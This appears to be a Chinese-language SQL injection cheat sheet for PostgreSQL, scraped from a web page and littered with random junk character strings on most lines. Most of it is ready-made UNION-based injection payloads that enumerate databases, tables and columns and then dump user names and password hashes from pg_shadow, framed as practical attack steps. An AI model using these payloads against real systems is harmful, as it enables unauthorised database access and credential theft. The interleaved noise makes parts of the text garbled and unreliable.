结合了MSSQL MySQL Oracle的一些特点0 D( d2 p/ N" u. x3 E
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/- z* x& a1 l$ z' L
连接符: %20 , + , /**/ 内置函数:* `. Q% w) r9 V8 V) X2 c+ U" U
current_database() //当前数据库名
9 N- q7 X, i/ x' ~session_user //会话用户8 R$ \" j! T* {# Q. ]* ~+ B
current_user //当前数据库用户$ }3 I* G" _2 Z! R! H3 s* s+ F
user //当前用户7 T# q* S/ I$ I6 }) A
version() //数据库版本 Union注射:
7 _$ C b! K# N6 T# Z- q" z8 V) corder by n–
( S. |' e/ W5 x$ _and 1=2 union select null,null,null–
2 R. P' S! c# K* e7 _and 1=2 union select ‘beach’,null,null–; `( i9 H4 `3 ^' @6 l# B
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):# { |: D* a5 D ^2 E
group_concat(table_name). K# f7 s {' O& C; B
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
* c( W" f& Z* \and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–+ M) E% ?, X/ X
(老版本)
& Q* j( }' a" v7 @, i' Spg_class.oid对应pg_attribute.attrelid
6 i0 h2 j+ A4 H% n; [2 n! ]pg_class.relname表名7 @( o4 q# k4 D$ F4 K- X+ u
pg_attribute.attname字段名 select relname from pg_class获取表名' d4 v- L6 g! ^# R/ X
select oid from pg_class where 条件 获取参数2 i* g s4 Y" t5 P2 |$ z0 @! |/ j
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
& j ?# q3 f- M! r3 U Land 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
) {0 u7 b( \! K; ?; K9 @6 f6 ?and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–3 S# ]( j7 n6 |/ q9 R. |+ U5 K
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
" n# k/ c, J; W+ P% K======================================================================
5 }# j: T, O. @7 rand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库5 z, S P2 L) H- d
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |